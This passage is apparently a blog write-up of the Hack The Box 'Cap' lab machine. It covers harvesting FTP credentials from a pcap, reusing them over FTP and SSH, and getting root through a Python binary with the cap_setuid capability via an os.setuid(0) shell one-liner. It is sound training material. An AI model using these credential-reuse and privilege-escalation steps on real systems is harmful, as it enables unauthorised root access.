http:\/\/10.10.10.245\/data\/00<\/a><\/p>\n![\"Screenshot](\"https:\/\/img.barradell-johns.com\/blog\/writeups\/hackTheBox\/cap\/screenshot2.png\")
<\/p>\n
I clicked download and it offered me a pcap<\/code> file. So, I opened this in Wireshark. Within this I found an FTP stream which I inspected <\/p>\n![\"Screenshot](\"https:\/\/img.barradell-johns.com\/blog\/writeups\/hackTheBox\/cap\/screenshot3.png\")
<\/p>\n
This gave me some creds of <\/p>\n
nathan : Buck3tH4TF0RM3!<\/code><\/pre>\nSo I tested them on FTP<\/p>\n
kali@kali:~$ ftp 10.10.10.245\nConnected to 10.10.10.245.\n220 (vsFTPd 3.0.3)\nName (10.10.10.245:kali): nathan\n331 Please specify the password.\nPassword:\n230 Login successful.\nRemote system type is UNIX.\nUsing binary mode to transfer files.\nftp><\/code><\/pre>\nI then looked for any useful files <\/p>\n
ftp> ls\n200 PORT command successful. Consider using PASV.\n150 Here comes the directory listing.\n-r-------- 1 1001 1001 33 Jun 13 13:24 user.txt\n226 Directory send OK.\n\n# ftp> get user.txt\nlocal: user.txt remote: user.txt\n200 PORT command successful. Consider using PASV.\n150 Opening BINARY mode data connection for user.txt (33 bytes).\n226 Transfer complete.\n33 bytes received in 0.00 secs (716.1458 kB\/s)\n\nkali@kali:~$ cat user.txt\n[REDACTED]<\/code><\/pre>\nThe user flag!<\/p>\n
Root<\/h1>\n
So I had the user flag, but still needed to get onto the machine properly. I tried the same creds on ssh<\/p>\n
kali@kali:~$ ssh nathan@10.10.10.245\nnathan@10.10.10.245's password: \nWelcome to Ubuntu 20.04.2 LTS (GNU\/Linux 5.4.0-73-generic x86_64)\n\n * Documentation: https:\/\/help.ubuntu.com\n * Management: https:\/\/landscape.canonical.com\n * Support: https:\/\/ubuntu.com\/advantage\n\n System information as of Sun Jun 13 13:46:04 UTC 2021\n\n System load: 0.02\n Usage of \/: 35.0% of 8.73GB\n Memory usage: 22%\n Swap usage: 0%\n Processes: 227\n Users logged in: 0\n IPv4 address for eth0: 10.10.10.245\n IPv6 address for eth0: dead:beef::250:56ff:feb9:a2f\n\n => There are 2 zombie processes.\n\n * Super-optimized for small spaces - read how we shrank the memory\n footprint of MicroK8s to make it the smallest full K8s around.\n\n https:\/\/ubuntu.com\/blog\/microk8s-memory-optimisation\n\nThe list of available updates is more than a week old.\nTo check for new updates run: sudo apt update\n\nLast login: Thu May 27 11:21:27 2021 from 10.10.14.7\nnathan@cap:~$<\/code><\/pre>\nLooking around I found <\/p>\n
nathan@cap:\/var\/www\/html$ ls -la\ntotal 32\ndrwxr-xr-x 6 nathan nathan 4096 May 25 07:25 .\ndrwxr-xr-x 3 root root 4096 May 23 19:17 ..\ndrwxr-xr-x 2 nathan nathan 4096 May 27 09:10 __pycache__\n-rw-r--r-- 1 nathan nathan 4293 May 25 07:25 app.py\ndrwxr-xr-x 6 root root 4096 May 23 19:17 static\ndrwxr-xr-x 2 root root 4096 May 23 19:17 templates\ndrwxr-xr-x 2 root root 4096 Jun 13 13:30 upload\n\nnathan@cap:\/var\/www\/html$ cat app.py\n[SNIP]\ndef capture():\n\n get_lock()\n pcapid = get_appid()\n increment_appid()\n release_lock()\n\n path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")\n ip = request.remote_addr\n # permissions issues with gunicorn and threads. hacky solution for now.\n #os.setuid(0)\n #command = f"timeout 5 tcpdump -w {path} -i any host {ip}"\n command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""\n os.system(command)\n #os.setuid(1000)\n\n return redirect("\/data\/" + str(pcapid))<\/code><\/pre>\nSo it looks like this app is using setuid<\/code> to give itself root privileges. So it likely isn’t running as root directly. The main way this can happen is if the binary, in this case python, has either the suid<\/code> bit set, or a capability assigned <\/p>\nnathan@cap:\/var\/www\/html$ getcap \/usr\/bin\/python3.8\n\/usr\/bin\/python3.8 = cap_setuid,cap_net_bind_service+eip<\/code><\/pre>\nSo it has an assigned capabilty. Therefore, we can use this to become root ourselves. I simply used the Python os<\/code> module to setuid(0)<\/code> then spawn a \/bin\/sh<\/code> instance. Which would be as root<\/p>\nnathan@cap:\/var\/www\/html$ python3 -c "import os;os.setuid(0);os.system('\/bin\/sh')"\n#\n\n# id\nuid=0(root) gid=1001(nathan) groups=1001(nathan)<\/code><\/pre>\nJust need to grab the flag <\/p>\n
\n# cd \/root\n\n# ls -la\ntotal 36\ndrwx------ 6 root root 4096 May 27 09:16 .\ndrwxr-xr-x 20 root root 4096 Jun 1 10:09 ..\nlrwxrwxrwx 1 root root 9 May 15 21:40 .bash_history -> \/dev\/null\n-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc\ndrwxr-xr-x 3 root root 4096 May 23 19:17 .cache\ndrwxr-xr-x 3 root root 4096 May 23 19:17 .local\n-rw-r--r-- 1 root root 161 Dec 5 2019 .profile\ndrwx------ 2 root root 4096 May 23 19:17 .ssh\nlrwxrwxrwx 1 root root 9 May 27 09:16 .viminfo -> \/dev\/null\n-r-------- 1 root root 33 Jun 13 13:24 root.txt\ndrwxr-xr-x 3 root root 4096 May 23 19:17 snap\n\n# cat root.txt\n[REDACTED]<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"Details This machine is Cap from Hack the Box Recon kali@kali:~$ nmap -sV -p- 10.10.10.245 Starting … HTB: Cap<\/span>Read more<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-716","post","type-post","status-publish","format-standard","hentry","category-hack-the-box"],"yoast_head":"\nHTB: Cap - The Hacking Blog<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/thehackingblog.com\/htb-cap\/\" \/>\n<meta property=\"og:locale\" content=\"en_GB\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"HTB: Cap - The Hacking Blog\" \/>\n<meta property=\"og:description\" content=\"Details This machine is Cap from Hack the Box Recon kali@kali:~$ nmap -sV -p- 10.10.10.245 Starting … HTB: CapRead more\" \/>\n<meta property=\"og:url\" content=\"https:\/\/thehackingblog.com\/htb-cap\/\" \/>\n<meta property=\"og:site_name\" content=\"The Hacking Blog\" \/>\n<meta property=\"article:published_time\" content=\"2024-06-27T20:17:08+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/img.barradell-johns.com\/blog\/writeups\/hackTheBox\/cap\/screenshot1.png\" \/>\n<meta name=\"author\" content=\"Jack\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Jack\" \/>\n\t<meta name=\"twitter:label2\" content=\"Estimated reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/thehackingblog.com\\\/htb-cap\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/thehackingblog.com\\\/htb-cap\\\/\"},\"author\":{\"name\":\"Jack\",\"@id\":\"https:\\\/\\\/thehackingblog.com\\\/#\\\/schema\\\/person\\\/17e47c3f67fa43eeaf61e3e9a7b1481f\"},\"headline\":\"HTB: Cap\",\"datePublished\":\"2024-06-27T20:17:08+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/thehackingblog.com\\\/htb-cap\\\/\"},\"wordCount\":205,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/thehackingblog.com\\\/htb-cap\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/img.barradell-johns.com\\\/blog\\\/writeups\\\/hackTheBox\\\/cap\\\/screenshot1.png\",\"articleSection\":[\"Hack The Box\"],\"inLanguage\":\"en-GB\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/thehackingblog.com\\\/htb-cap\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/thehackingblog.com\\\/htb-cap\\\/\",\"url\":\"https:\\\/\\\/thehackingblog.com\\\/htb-cap\\\/\",\"name\":\"HTB: Cap - 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![\"Screenshot](\"https:\/\/img.barradell-johns.com\/blog\/writeups\/hackTheBox\/cap\/screenshot1.png\")
<\/p>\n